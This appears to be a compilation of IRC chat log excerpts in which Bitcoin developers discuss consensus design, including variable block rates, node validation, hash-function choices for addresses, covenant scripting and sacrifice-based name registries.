22:32 < BlueMatt> petertodd: in my case its incredibly easy because I just treat it like a flash drive and read in a sector
22:32 < BlueMatt> petertodd: thats probably one of the easiest ways (its already implemented...) and you can still do that in trusted hardware
22:32 < BlueMatt> but reading over serial shouldn't really be any harder
22:33 < petertodd> Well, remember the key idea I have is to make my USB thing actually connect to anti-tamper sensors, so when the thieves steal your server at the colo center the moment they open the case/move it the keys get wiped, yet you can still reboot it/handle power failures.
22:34 < petertodd> (or for that matter, ship it in the mail)
22:34 < BlueMatt> petertodd: you can do that in usb too...
22:34 < BlueMatt> usb with the same chip on the backend
22:34 < BlueMatt> (internal-case usb headers instead of standard A plug, probably)
20:33 < andytoshi> oh, damn, that was my first exposure to 21st century crypto, i thought maybe it was an implementation-friendly field :(
20:35 < gmaxwell> well, it's mixed. A lot of things in pairing crypto are easily implemented. E.g. I went and implemented the OWAS from that paper in under half an hour, including learning to use the pairing crypto library.
22:46 < Taek42> I had an idea for variable-speed blockchains
22:47 < Taek42> which I think would be desirable, because when you set a static rate, you can either be too slow (meaning you could go much faster)
22:47 < Taek42> or too fast (meaning that blocks happen faster than nodes can communicate them)
22:47 < Taek42> and right now, most coins seem to pick arbitrary values
22:49 < Taek42> If you count how many blocks have the same parent (as a percentage)
22:50 < gmaxwell> Taek42: amiller proposed several years ago commiting to orphans to control loop the rate.
22:50 < Taek42> how was the reaction to the proposal. Also, is there a link?
22:50 < gmaxwell> Taek42: but the problem with that it has enormous centeralization risks in two different ways.
22:50 < Taek42> how so?
22:52 < gmaxwell> Say for example that 60% of the hashpower was within the east cost of the US, such as system might happily adapt itself down to 100ms blocks, and just exclude the outside world. Even if the outside blocks were enough to slow it down, the majority could just happily ignore them, since its in their interest to keep it fast. Now, okay, perhaps you have some
sensible floor to prevent this.
22:53 < Taek42> I think I have
22:53 < gmaxwell> Then you have the fact that only miners play in this scheme but the block rate is very important to clients as well. 1 second blocks would be a ~600x increase in bandwidth and cpu for SPV clients over 10 minutes blocks.
22:53 < Taek42> that's only assuming that at 1% blocks the blocks (and not the transaction data) are the majority of the information
22:53 < Taek42> *at 1 second blocks
22:54 < gmaxwell> so while the miners are all getting paid for their mining and can afford fast networks
tunnels through the earth and neutrino reactor transmitters and what have you
the rest of nodes have to keep up with the flood but aren't compensated to pay for these increased costs.
22:54 < gmaxwell> and they have no control channel to express this displeasure.
22:55 < Taek42> hmmm
22:56 < gmaxwell> Taek42: why wouldn't it be at 1 second though? the system will keep speeding up until miners can't get lower latency networks, and then it will start excluding miners who are too far out
e.g. in .au. Right now there is hardly any incentive to do anything heroic about your network as a miner, but if the time kept going down as miners improved their
connectivity there would be.
22:56 < gmaxwell> amiller_: perhaps has a link to his writeup.
22:57 < Taek42> Well the idea is that when you want to send money over the network you just tell a miner. I don't think faster blockrates would result in less transactions
22:57 < Taek42> unless a faster blockrate meant that non-miners couldn't verify the balance of an adversary
22:57 < gmaxwell> (uh, you know bitcoin has no balances in it
22:57 < Taek42> I'm guessing you are saying a semantic thing
22:58 < gmaxwell> It would intefear with other nodes imposing the rules. Bitcoin is a trustless system, and part of the incentive alignment for miners is that non-miners vaidate their blocks too.
22:59 < Taek42> how can non-miners validate a block? I thought blocks were validated by additional blocks being mined on top of them
22:59 < gmaxwell> ...
22:59 < Taek42> bear with me
22:59 < gmaxwell> By stepping through the data and checking each piece of it against the hundreds of rules of the system.
23:00 < Taek42> oh okay
23:00 < Taek42> but say that a non-miner finds something incorrect
23:00 < Taek42> what happens?
23:00 < wyager> Mmmm
23:01 < wyager> They ignore the block
23:01 < gmaxwell> They just ignore the block forever and all successive blocks. This is what prevents a malicious group of miners from inflating the currency or stealing people's coins (which might have returns great enough to justify their misbehavior)
23:01 < wyager> You're thinking of an SPV node, Taek42
23:01 < wyager> SPV nodes verify blocks by their depth
23:01 < wyager> (right?)
23:01 < wyager> full nodes actually verify blocks
23:01 < Taek42> okay that makes sense
23:01 < wyager> Like, making sure their hash value is low enough and there aren't any illegal transactions and stuff
23:02 < gmaxwell> Bitcoin's security is predominantly autonomous zero trust
you don't trust anyone at all to the extent that thats possible. Miners influence is strictly limited to transaction ordering
which is powerful, but hopefully limited enough to keep them honest.
23:03 < gmaxwell> (and we only trust miners for ordering because we don't have an alternative... it would be nice if physics allowed a decenteralized, autonomous, and consistent ordering
but it appears not to)
23:03 < Taek42> consistent ordering might be more achievable if you implementing some sorting
23:03 < Taek42> but then miners could still pick different blocks for different transactions
23:04 < Taek42> *implemented
23:05 < gmaxwell> Taek42: sorting can't work unless you have a jamming proof network which can reach all parties in finite time. Otherwise someone can know of a transaction that others don't and the rest only learn later.
23:05 < Taek42> yeah
23:06 < gmaxwell> in any case, thats why we have mining, it solves that little problem.
23:06 < Taek42> with the current bitcoin, what happens when the transaction volume grows to a point where only miners can keep up?
23:07 < gmaxwell> But mining means bitcoin isn't like most cryptosystems, the good guys don't have an exponential advantage over the attacker, only a linear one; so that makes the economics very important too.
23:07 < gmaxwell> Taek42: it can't.
23:07 < Taek42> what do you mean by it can't?
23:07 < Taek42> suppose you reach several thousand transactions per second?
23:07 < gmaxwell> The system has hardcoded rules on the maximum size of blocks technically as absolute as the limit of 21 million total bitcoins. This means that even if the miners want to make huge blocks to stop other people from validating they can't.
23:08 < Taek42> ah
23:08 < gmaxwell> and to increase the limit requires all node software be replaced, so effectively it requires the consent of all the (remaining) users.
23:08 < Taek42> so at some point the demand for transactions could outgrow the hardcoded rule that limits transaction volume
23:09 < gmaxwell> Sure, though there are many differnet ways to deal with that (beyond just upping the limit
which is perhaps possible, but there is that decenteralization tradeoff).
23:11 < Taek42> forgive me as I start to talk about things I don't know much about; wouldn't a more ideal currency (if theoretically impossible) not require non-miners to participate at all?
23:12 < wyager> Well an ideal currency wouldn't require miners or nodes or any of that stuff :p
23:12 < gmaxwell> Taek42: no, thats horiffic.
23:12 < Taek42> that's a good point
23:12 < Taek42> why horrific?
23:12 < gmaxwell> Taek42: because then you'd have to trust miners. And the whole point of Bitcoin was to eliminate trust.
23:13 < Taek42> what if you only have to trust that 51% of miners are honest?
23:13 < gmaxwell> The ideal system would have no miners, just participants.
23:13 < Taek42> participants that don't need to keep track of the entire state of the system
23:13 < gmaxwell> Taek42: what would make them honest? Bitcoin's assumption isn't merely that most are honest.
23:14 < Taek42> what if you only have to trust that only (epsilon approaching 0%) miners are honest?
23:15 < Taek42> but I see what you are saying
23:15 < gmaxwell> Taek42: after all, the fed's employees are mostly honest. The fact that everything else gets enforced by mathmatical proof with 100% strength is one of the reasons the fact that honest users don't have an advantage over attackers is perhaps acceptable.
23:15 < Taek42> with bitcoin you don't need to trust some foreign entity, you can verify the whole chain yourself
23:15 < Taek42> but the cost is a 12GB (and growing) file and some computation
23:15 < gmaxwell> no, thats not quite true.
23:16 < Taek42> expand?
23:16 < gmaxwell> You can go ahead and delete the historic blocks, they're only used to initialize new peers. (well not quite, at least not yet
if you delete them your node will work fine until a new peer tries to grab a historic block from you and then you'll crash)
23:16 < gmaxwell> you only need the chainstate to verify new blocks that come in.
23:17 < gmaxwell> and thats about 300 MBytes right now.
23:17 < gmaxwell> and grows moderately slowly (looked decidely logarithmic before people started created junk txouts to store data).
23:17 < Taek42> but then you have to trust the incoming chainstate
23:17 < Taek42> if you are new
23:18 < gmaxwell> Nope.
23:18 < Taek42> no?
23:18 < gmaxwell> You can build it for yourself, but not store the historic data. (e.g. you have to inspect it once, but no storage cost)
23:18 < Taek42> okay
23:19 < Taek42> you still won't know though if you are looking at the actual chain or a fork
23:19 < gmaxwell> huh?!
23:19 < Taek42> suppose you are on a malicious network
23:19 < Taek42> feeding you a set of blocks from the genesis block
23:19 < Taek42> at some point they fork
23:19 < Taek42> and create an alternate histroy
23:19 < Taek42> *history
23:19 < gmaxwell> No, you inspect headers first to decide which chain has the most proof of work. Then validate it it. If you find a rule violation you black list that block and reorg.
23:20 < Taek42> assuming you get a block from the correct chain
23:20 < gmaxwell> No, it doesn't matter.
23:20 < Taek42> ???
23:21 < gmaxwell> Taek42: lets contine your example.
23:21 < Taek42> okay, I'll rework it a little though
14:23 < pigeons> I thought this was um, interesting or funny or weird or dangerous or something, "Moreover, the developers have purposefully introduced three security flaws into the source code that they will be releasing, as a means of encouraging the community to scrutinize the code and to prevent people from creating copies of Nxt by simply taking the source code and
re-using it. People who discover the security holes will be able to claim rewards for fin
14:23 < pigeons> http://nxtcrypto.wikia.com/wiki/FAQ
14:24 < adam3us> maaku: i was thinking maybe one could have a trusted server for simulating alts. rent virtual "VPS" resources. buy virtual "ASICs" and so on, the actual money goes to charity or btc QA or something. then its green. and it doesnt matter if its centralized because dogecoin grade alts have largely no tx anyway.
14:25 < pigeons> there was a game that did that, but its gone now
14:25 < pigeons> it had an internal exchange and you could make your own coins too etc and "virtually" mine them without really mining or using electricity
14:27 < adam3us> pigeons: seems like a lower energy sandbox for dogecoin, shitcoin et al play in, pity it died
14:28 < pigeons> yeah it added simulated pools when they came along and you culd run your own mining pool without having to get ddossed
14:29 < pigeons> you could virtually pre-order your asics and virtually never get them
14:30 < adam3us> pigeons: fantastic
14:31 < pigeons> he sold the code before he closed to a guy who was in over his head and couldnt keep it running but i think at this point it wouldnt really help, best to just start with your own bugs instead of someone else's
14:32 < adam3us> $1k by end of year ;)
14:32 < adam3us> ?
14:36 < adam3us> heh hash rate went over 10 PH and now the format is confused 1.045E7 https://blockchain.info/q/hashrate
15:17 < nsh> someone asks in ##crypto why ripemd-160 is used for addresses rather than just a truncation of sha-256 output
15:17 < nsh> i'm not sure how to answer...
15:20 < maaku> because the great satoshi said so
15:21 < maaku> retroactive reason: because breaking sha-256 doesn't mean a break of the address format, meaning coins would still be secure
15:21 * nsh prostrates before the ceremonial altar
15:21 < nsh> mmm
15:21 < maaku> obviously lots of other things would have to change if sha256 was broken, but you could still keep the same ledger
15:22 < nsh> right
15:34 < iddo> maaku: thats not so clear, if you can do sha256 collisions then you also have collisions for Bitcoin addresses (though i'm not sure how to use it to attack), and if you can do 2nd-preimage attack on sha256 then you can steal coins if someone re-uses an address
15:37 < iddo> an answer on stackexchange says that it's just "belt and suspenders" approach: http://bitcoin.stackexchange.com/questions/9202/why-does-bitcoin-use-two-hash-functions-sha-256-and-ripemd-160-to-create-an-ad
15:39 < andytoshi> gmax suggested that using a second hash function would guarantee that addresses still have a uniform distribution, while truncated-sha is not proven to have this property
15:39 < andytoshi> well, not just the distribution, preimage resistance as well
15:40 < iddo> hmm not sure what you mean by proven, there are no rigorous proofs for heuristic constructions like sha2
15:41 < andytoshi> true, i guess what i mean is "commonly believed"
15:41 < iddo> if sha2 is computationally indistinguishable from a random oracle, then truncated-sha2 is fine
15:42 < andytoshi> sure, but this isn't true because eg there are length extension attacks
15:42 < andytoshi> which distinguish it from a random oracle
15:42 < iddo> not for sha256d
15:43 < andytoshi> yeah -- and mining even depends on sha256d looking like a random oracle
15:43 < andytoshi> so tbh i am just as confused by the ripemd usage as anybody
15:46 < maaku> andytoshi: as I said, if a weakness is found in sha256, it is more likely to be able to be applied to sha256^2 than ripemd160(sha256())
15:47 < iddo> another question is why not just use the full 256 bits of sha256d, then you get an even better benefit of 256 bits of security if you don't re-use addresses, instead of 160 bits... the drawbacks are more bloat on the blockchain, and longer addresses for people to use
15:47 < maaku> so therefore, it's more likely that the current setup would protect users even in a catastrophic break of sha256
15:47 < maaku> iddo: even 160 bits is excessive. the birthday paradox doesn't apply here
15:47 < iddo> maaku: but what if a weakness is found in ripemd-160 ... ?
15:48 < maaku> iddo: nothing happens unless a weakness is found in ripemd-160 AND sha-256
15:48 < maaku> its additive security
15:50 < iddo> maaku: no, if you have 2nd-preimage attack on ripemd-160, then just create fresh ECDSA keypairs + sha256 hash, in a way that you get the same image (i.e. the 2nd-preimage attack) as someone elses Bitcoin address, and then steal his coins
15:52 < iddo> well actually it's not clear, depends how the 2nd-preimage attack works
15:52 < andytoshi> you'd have to get a preimage for the sha256 as well
15:52 < andytoshi> if you can 2nd-preimage SHA256 then i think you've got a problem, because if you can get the same SHA256 hash, it won't matter that you apply RIPEMD-160 on top of it
15:52 < andytoshi> but this is only a concern if you know the pubkey that you are trying to preimage
15:53 < andytoshi> pubkey whose image you are trying to duplicate*
15:54 < andytoshi> but until you spend a coin with a certain address, you don't expose the pubkey (or even its SHA256 hash), so you're ok in the case of no address reuse
15:54 < iddo> if you just find 2nd-preimage of random pubkey, then it wouldn't help you because you wouldn't know the corresponding privkey
15:55 < andytoshi> oh, right, derp
15:57 < iddo> i actually don't really see how either sha2 or ripemd 2nd-preimage attacks can be done in this context (i.e. in the context where you create random-looking pubkeys that are supposed to be the preimage, by invoking the ECDSA keygen)
19:02 < nsh> oh
19:03 < nsh> andytoshi / gmaxwell: thinking back to the question of the factor of 8 in curve25519 scalars, could it be to do with the square property of x coordinates?
19:04 < nsh> --
19:04 < nsh> Firstly, since the field is only 255 bits, the 256th bit is always zero. Thus if an attacker sees a series of 32-byte strings where the top bit of the last byte is always zero, then they can be confident that they are not random strings. This is easy to fix however, just XOR in a random bit and mask it out before processing.
19:04 < nsh> Secondly, the attacker can assume that a 32-byte string is an x coordinate and check whether x3 + 486662x2 + x is a square. This will always be true if the strings are x coordinates, by the curve equation, but will only be true 50% of the time otherwise. This problem is a lot harder to fix.
19:04 < nsh> -- https://www.imperialviolet.org/2013/12/25/elligator.html
19:04 < nsh> (probably not, but it just came back to mind while reading that page)
19:06 < nsh> "Square roots are defined in the standard way for finite fields where q
19:07 < nsh> (eight is rather low number for which to ascribe meaning to coincidence, i know...)
19:35 < andytoshi> nice find nsh, i dunno, i'll have to study this
19:36 < andytoshi> it looks to me that this is about disguising x coordinates, which isn't a goal of plain old ed25519
19:36 < andytoshi> eg they have bit 254 always set, which is a pretty obvious tell
19:38 < nsh> right
19:38 < andytoshi> also iirc we are talking about privkey encoding anyway, which is not broadcast
19:39 * nsh nods
19:39 < andytoshi> otoh, the square property of x coordinates could very well be involved with the factor of 8, i don't know
19:39 < nsh> yes, maybe very vaguely
19:39 < maaku> anyone asked DJB?
19:40 < nsh> no, i was going to tweet him
19:40 < andytoshi> no, i think everyone here is intimidated by him :P
19:40 < nsh> but he doesn't use twitter that extensively. might be better to email him
19:40 < nsh> oh, i don't have that problem :)
19:40 < andytoshi> :)
19:40 < nsh> i fell in the contempt couldron as an infant and the potion had a permanent effect
19:41 < nsh> cauldron*
19:41 < maaku> well it'd spoil the puzzle anyway :)
19:42 < andytoshi> haha
22:38 < warren> http://coinmarketcap.com/ interesting how they count #2
22:44 < phantomcircuit> warren, XRP is an altcoin with bad security
22:44 < phantomcircuit> and a totally fucking HUGE premine
22:45 < warren> phantomcircuit: they included the entire premine in that "market cap"
22:46 < gmaxwell> of course they did, it's part of the market cap.
22:47 < gmaxwell> I dunno how else you'd calculate it.
22:51 < phantomcircuit> warren, the premine is already on the network
22:51 < phantomcircuit> that is a reasonable way to calculate the market cap
22:52 < BlueMatt> it'd be nice if they showed market depth too, though
22:52 < phantomcircuit> however XRP is very illiquid
22:52 < phantomcircuit> so that doesn't mean much of naything
23:01 < phantomcircuit> BlueMatt, nearly all of the bids are for the exact same amount of btc
23:01 < phantomcircuit> 0.2625
23:02 < phantomcircuit> which tells me they're fake bids
23:02 < CodeShark> market caps in general for any of these coins is not particularly meaningful :)
23:02 < CodeShark> you need to take depth into account
23:03 < CodeShark> but these numbers do sound impressive, nonetheless
23:03 < CodeShark> so they do have press value
23:04 < maaku> yeah market cap is totally useless
23:04 < maaku> http://37signals.com/svn/posts/1941-press-release-37signals-valuation-tops-100-billion-after-bold-vc-investment
23:04 < CodeShark> lol
23:06 < BlueMatt> phantomcircuit: even sill, the market depth is significantly lower than btc, which should be shown there
23:07 < CodeShark> a meaningful statistic would be, say, how much you could get in dollars if you currently held 10% of it and sold it right now
23:07 < BlueMatt> maaku: lol, nice
16:19 < gmaxwell> yea, fair enough.
16:20 < maaku> nsh: yeah actually the coincovenant thread is basically a listing of what you could do with a turing-complete script language and introspective builtins
16:21 < maaku> the snark is just a really cool addition
16:21 < gmaxwell> Yea, I think nothing there requires the snark except for efficiency.
16:21 < gmaxwell> might be good to add some examples that need zero knoweldge
16:25 < maaku> petertodd gmaxwell: btw didn't mean to take credit for this old idea. i thought nsh meant the benefits of using Joy
16:27 < nsh> i'm curious in general and specific :)
16:27 < petertodd> I'm curious if joy brings us any joy.
16:32 < maaku> cdr=-\
16:32 < maaku> 6jm
16:32 < maaku> sorry
16:33 < petertodd> maaku: glad to see you have (formerly) strong passwords
16:33 < maaku> haha, toddler found my keyboard
16:33 < maaku> gmaxwell: well there are bounties. you'd need a zk proof to safely claim a sha256 collision
16:35 < maaku> you can even design a covenant which forces revelation if the coins are to be actually used
16:35 * petertodd says hi to little maaku
16:36 < sipa> cdr-=\ -> that's actually potentially valid C code
17:34 < pigeons> adam3us: I just saw https://github.com/atoponce/d-note uses hashcash to generate a token before you can submit
18:05 < jtimon> ok, so I need a name for the TC merklized extrospective scripting extension I just understood hours ago
18:06 < jtimon> otherwise "the new thing" is taken and I cannot learn or think about anything else new too me
18:06 < sipa> tc?
18:07 < sipa> extrospective?
18:07 < nsh> turing complete, no idea
18:08 < nsh> network-external inputs maybe
18:08 < jtimon> tc = turing complete
18:09 < jtimon> extrospective = you can reference the scripts in the outputs of future transactions, parts in them, and maybe also the current utxo and the block header
18:09 < petertodd> jtimon: that's a pretty good description IMO
18:09 < jtimon> something outside the script itself
18:09 < jtimon> thank you
18:10 < petertodd> jtimon: more than current utxo too, but likely committed data of some kind within (to be clear)
18:11 < jtimon> although joy is a new addition and not necessary for the idea I like joyScripts, although I also like quineScripts, and we could also just maintain coincovenants (although not all uses use quines/covenants)
18:14 < jtimon> petertodd, you mean previous data in the chain? I guess it could work if people provide proofs to the miners, but for some reason I haven't found yet, that intuitively scares me
18:14 < jtimon> also I don't know any use et neither
18:14 < jtimon> *yet
18:15 < petertodd> jtimon: well, there's the model where it's proof based, referencing the prevblock hash, or you can have a model where miners are expected to actually have some set of data on hand. (that could take a lot of potential forms)
18:16 < jtimon> stateless validation is very attractive
18:17 < jtimon> I'm not sure what you mean by referencing the previous block hash
18:17 < gmaxwell> any stateful process can be reduced to a stateless one just by gathering up the state and presenting it as an input.
18:18 < petertodd> jtimon: IE, make your script take a proof in the form of a merkle path to the prevblockhash
18:18 < jtimon> petertodd: what kind of commited utxo are we assuming if any?
18:19 < petertodd> jtimon: could be a lot of forms, could be a committed MMR TXO too
18:19 < jtimon> I see, just one of them
18:20 < petertodd> jtimon: well, you can do both if you really want :P
18:20 < petertodd> jtimon: and actually, if you do expiration, both could make a lot of sense
18:21 < jtimon> well, I think expiration would be necessary for your TXI thing, but I don't know much about MMR
18:23 < jtimon> the advantages and stuff, I just read that once but I don't remember the motivation
18:23 < jtimon> I'm going to read again
18:24 < jtimon> but maybe a hybrid commited expired-TXI + UTXO would make sense too?
18:24 < petertodd> exactly
18:24 < jtimon> oh, I see
18:24 < jtimon> you use the MMR structure for the TXI ?
18:25 < petertodd> one interesting thing is that you probably want the PoW algorithm to be tightly coupled to some subset of blockchain data - perhaps the last year/GB of it - so a PoW on the UTXO set is an attractive idea
18:25 < petertodd> right, for long-term MMR works really well
18:26 < petertodd> note that when I say "UTXO" set that doesn't necessarily mean it the way you would mean in bitcoin - for some extrospective scripting consensus system your utxo set might mean a lot of things that may or may not be coins
18:27 < jtimon> to be honest, I'm thinking in freimarket's utxo
18:27 < petertodd> e.g. the absolute extreme you can take this idea is for the system to be essentially a key-value global consensus, where keys are H(script) and values the output of those scripts (basically)
18:27 < jtimon> with asset types, unique bitstrings...
18:27 < petertodd> yup
18:28 < petertodd> and mastercoin needs to look something like that if it's going to be useful
18:28 < jtimon> well, values also have refHeight for interest/demurrage and I guess some other minor details
18:28 < petertodd> right
18:29 < jtimon> why " you probably want the PoW algorithm to be tightly coupled to some subset of blockchain data"?
18:29 < petertodd> my extreme example, which I guess I could call MetaCoin, could be done such that the scripts themselves are what define consensus currency systems within MetaCoin
18:29 < petertodd> jtimon: because you want there to be incentive for miners to actually publish the contents of the blocks they mine, rather than just headers
18:30 < petertodd> jtimon: basically with stateless validation you can wind up with miners having no blockchain data at all, and then find out that only a single party has the data, and hence can assist others in creating transactions (or no-one has the data and the coin gets stuck!)
18:30 < jtimon> an interesting thing is that with unique tokens, you have effectively a per-asset namespace that you can use as generic key/value store
18:31 < petertodd> jtimon: yes, *but* that's only useful if either multiple values can be associated with a single key, or the keys are scripts
18:32 < petertodd> jtimon: see, you can view a decentralized consensus system's blockchain as a weird type of cryptographic accumulator - it's easy enough to create a proof that some tx-thing existed or didn't exist in that chain, but you must have blockchain data to update (and create) those proofs
18:32 < jtimon> but the holders could take care of keeping their data, no?
18:33 < gmaxwell> how can you keep data if miners aren't even sending you enough to update your copy?
18:34 < petertodd> gmaxwell: well, remember how with MMR TXO you can get transactions mined with the assistance of third-parties who create the txin proofs for you? of course, with the txin proofs, miners with no blockchain data at all can safely mine the txs
18:35 < petertodd> gmaxwell: hence, you can wind up with a system that appears to work just fine, until one day you realize only one entity has a copy of some or all blockchain data - even worse if you've got some sharded (U)TXO set scheme going on
18:35 < jtimon> gmaxwell I thought your part of the trie in which your data resides cannot be modified if not by you, maybe I misundertood something about maaku's updatable structure
18:36 < jtimon> I also don't understand this senstence "that's only useful if either multiple values can be associated with a single key, or the keys are scripts"
18:36 < petertodd> jtimon: yeah, but what forces miners to actually publish the content of blocks to other miners? nothing
18:36 < petertodd> jtimon: e.g. with my "one entity has a copy of the blockchain" example, miners could be just sending their blocks to that entity, but not to each other, and the system will appear to work just fine
18:36 < petertodd> jtimon: maybe that happens due to lazyness, maybe due to sybil attack, who knows?
18:37 < jtimon> they need to publish the new root of the trie, and they want other miners to believe them, so they will send all the proofs they used to update the tree
18:37 < petertodd> jtimon: in a sharded system, it means you can 51% attack some *subset* of the (U)TXO space, likely with less than 51% of hashing power
18:37 < gmaxwell> jtimon: your own coin could only be modified by you, but all the neghboring branches can be modified by the holders of 2^levels-up coins.
18:38 < petertodd> jtimon: nope. Miners will lose money if they mine invalid blocks, so we can trust them not too do that 95% of the time, and it's in your incentive to very quickly mine the longest chain so you're not wasting your time...
18:38 < petertodd> jtimon: and if tx's can provide proof that they are valid to include in a block, all the better!
18:38 < jtimon> you're trying to explain me the problem of relying on archive nodes
18:39 < petertodd> jtimon: or hell, imagine some scheme where we're using SCIP moon magic so that miners can prove their blocks *are* valid
18:39 < petertodd> jtimon: roughly speaking, but it's really even deeper than that
18:39 < jtimon> I thought that wasn't a problem with maaku's latest updatable utxo design
18:40 < petertodd> jtimon: no it is, it's just not as likely to be an actual problem as some sharded blockchain scheme.
18:40 < petertodd> jtimon: mainly I'm interested in solving that because I think it's an important part of making consensus schems more scalable
18:40 < jtimon> miner 1 receives all the proofs it needs from regular users to update from UTXOn-1 to UTXOn
18:41 < jtimon> he sends the mined block and all those proofs to all miners
18:41 < jtimon> I'm still missing the problem
18:42 < petertodd> it's simple: what forces him to actually send those proofs to other miners? they can mine just fine without them, and have incentives to skimp on doing proper validation
18:42 < jtimon> you said it yourself " Miners will lose money if they mine invalid blocks"
13:56 < petertodd> Yeah, then the proof-of-bitcoin-sacrifice version of namecoin basically removes the "coin" part of namecoin.
13:57 < amiller> so the attacker is assumed to have a bounded budget *in bitcoins*
13:57 < petertodd> Exactly
13:57 < amiller> and namecoin transaction fees are paid in bitcoins?
13:58 < amiller> and they are paid to miners who sacrifice their own bitcoins in return for the transaction fees such that those balance out?
13:58 < petertodd> Well... there aren't really transaction fees in this model. Blocks are then just lists of keys and values, potentially with signatures if make a system where the initial key-value setting includes a pubkey for additional settings. (as namecoin does)
13:59 < petertodd> It also means the blockchain can be organized as a directed acyclic graph, with priority given to key-value entries in block with the highest total sacrifice.
13:59 < amiller> well what is the attackers budget related to/
14:00 < petertodd> Because each block is associated with a sacrifice, the attackers budget is to outspend all the sacrifices already made for the existing blockdag.
14:01 < amiller> what is the incentive for creating a sacrifice?
14:02 < petertodd> Doing so lets you make a block with key-value associations.
14:02 < petertodd> What's interesting, is the amount of sacrifice can be set low until an attacker comes along.
14:02 < amiller> is there no incentive for sacrifice?
14:03 < petertodd> Ha, yes, other than outspending an attacker!
14:03 < petertodd> *Socially* the system really needs ways for interested parties to easily get together and create a sacrifice.
14:03 < amiller> so it would be a bit like bitcoin without mining fees
14:03 < amiller> without blockreward
14:03 < amiller> just blocks and pow and no reward
14:03 < petertodd> Like an assurance contract, but that's tricky
14:03 < petertodd> Yup
14:04 < amiller> ok
14:04 < amiller> so the fundamental difference really isn't about substituting work for coin, but substituting incentives for no-incentives
14:05 < petertodd> For instance, if I were to register petertodd.zookv, I'd probably sacrifice 1BTC because, why not? Now in doing so, I'd make all prior blocks 1BTC more difficult to re-write.
14:06 < petertodd> See, namecoin is interesting here. Why would a miner mine namecoin? To get namecoins which will hopefully be valuable in the future because they can be used to register names.
14:06 < petertodd> There was a *lot* of speculation going on in the namecoin space...
14:06 < amiller> could i do something like
14:06 < amiller> sacrifice 0.00000001 btc for a ton of names
14:06 < amiller> and then one 10 btc block on top
14:06 < amiller> and then it would take 10btc to reverse any of the names
14:07 < petertodd> Exactly
14:07 < petertodd> See, you can also do key-value without a blockchain, where what is the canonical mapping is simply the highest sacrifice.
14:07 < petertodd> But I suspect that has bad social properties...
14:08 < amiller> so lets say i buy a name soc1024.com
14:08 < amiller> for a 0.1 or something
14:08 < amiller> if someone else buys it for 0.11
14:08 < amiller> i still lost my 0.1 right
14:08 < amiller> it was sacrificed in bitcoin and so gone forever
14:08 < petertodd> Yeah, in a non-blockchain version of k-v that's exactly what happens.
14:09 < amiller> what if auction sites worked that way
14:09 < amiller> like on ebay
14:09 < amiller> you can bid on an item
14:09 < amiller> and you lose that much money even if you get outbid
14:09 < petertodd> In a blockchain version, you'd have a rule where the first k-v created includes a pubkey, and subsequent modifications require a valid signature. (up to some expiration time or something)
14:09 < amiller> and every time you bid higher you lose the sum of all of your bids
14:09 < petertodd> There's gotta be a whole whack of economic analysis on that kind of auction...
14:09 < amiller> doesn't it seem like a horribly perverse auction
14:10 < amiller> i don't know how to say specifically what is wrong though
14:10 < petertodd> It does, which is why I think a blockchain/dag based system where you build on each others sacrifices is the only sane way to do it.
14:10 < amiller> ok let me try to understand how that would work
14:11 < amiller> (i'm trying to piece together the parts above where you mentioned it, but please start again on explaining the dag version?)
14:12 < petertodd> The dag version just has a rule where if two blocks have a set of k-v settings that don't conflict, they can be merged back together to form canonical history.
14:13 < petertodd> Because these are sacrifices, it's good to ensure that people won't lose their sacrifice just because someone else made one at the same time.
14:13 < amiller> i see
14:14 < petertodd> The other key detail, is that building on each other's sacrifices gives a strong incentive to broadcast them.
14:15 < amiller> if i pretend that there's no latency and nothing happens at *exactly* the same time then the dag isn't any different than the first way
14:15 < petertodd> Sure, the dag is just to get around the fact that there is latency involved. Potentially multiple blocks worth of latency in the case of announce-commit sacrifices.
14:16 < amiller> so if it has some undesirable economic property even with no latency it's still present even with the dag
14:16 < amiller> i'm trying to think of how to approach analyzing this economically...
14:16 < amiller> normally in auctions the design is to get the best price for the auctioneer
14:17 < amiller> and people participating in the auction usually make a decision like
14:17 < petertodd> Ok, so think of it this way: we want the system to provide the best rewrite security, especially over time, for the purchaser of the k-v map.
14:17 < amiller> basically they have to have a maximum amount of money they would pay to own the item
14:18 < amiller> and then the system lets them express that
14:18 < amiller> because if the price of the item is above what they'd pay then they don't get it and they don't lose money
14:18 < amiller> if it's below or equal what they pay then they might get it
14:19 < petertodd> Yes, excellent! So by including a rule where k-v maps only come into affect after n blocks, you just need to watch the blockchain, and if it looks like someone else is trying to rewrite history you can stop them with a further sacrifice.
14:20 < amiller> i wouldn't bother if i think it's probably someone else's problem and it's not wroth it to me, there's a public good contribution thing going on there
14:21 < petertodd> Yup, and it's easy to determine if it's someone elses problem too. Yet if that someone else further upps the sacrifice amount, they've helped you anyway.
14:21 < amiller> how might i decide how much it's worth it to me
14:21 < amiller> like
14:22 < amiller> maybe i get some kind of income for every day that the name points to me
14:22 < amiller> like if someone hacked my business url then i'd sue for lost business damages proportional to how many days it was broken or something like that
14:22 < petertodd> Well, if you're running silkroad.zkv...
14:25 < amiller> hm
14:25 < petertodd> What's really interesting, is if the dag structure ensures that only conflicting key's in conflicting blocks are ignored, but the rest of the mapping is left untouched, if, say, the system gets used and early on silkroad.zkv is registered, a later rewrite history attempt can replace it, but every other mapping will have been strengthened by the attack.
14:26 < amiller> oh so
14:26 < amiller> so i buy soc1024.com for 0.1
14:26 < amiller> a few days later 100btc in total have been sacrificed *on top* of that
14:26 < amiller> so now the cost to an attacker to rewrite me should be 100.1 and i'm pretty safe
14:26 < amiller> *but*
14:27 < amiller> the attacker could *just* rewrite mine for 0.11 and merge along with everything else
14:27 < amiller> so it would only cost him 0.11 to rewrite me? in that case i'm not very safe
14:28 < petertodd> Nope, the attacker would have to spend >100.1 BTC to rewrite yours, but if he does, any k-v setting that he didn't try to rewrite now takes >200.2 btc to rewrite.
14:28 < amiller> could i just register all the names all at once
14:29 < amiller> maybe it would be helpful to make a simulation or demo of this
14:29 < amiller> a board game
14:29 < petertodd> Of course you could. You probably want, at least initially, for the rules to include a namecoin-like minimum sacrifice amount.
14:29 < petertodd> Like 0.1BTC per k-v initial setting.
14:29 < amiller> my intuition is that this is an absolutely horrible idea but i'm trying to be methodical :p
14:30 < petertodd> Heh, my intuition is that this is an absolutely horrible idea, but the alternatives may be worse.
14:30 < amiller> that *there are worse alternatives* i'd agree with :)
14:30 < petertodd> lol
14:31 < amiller> i still have high hope though for something really good
14:31 < petertodd> I really don't like how namecoin became mainly a speculative thing, but such is life.
14:31 < amiller> yeah, same
14:31 < amiller> i think it's really important
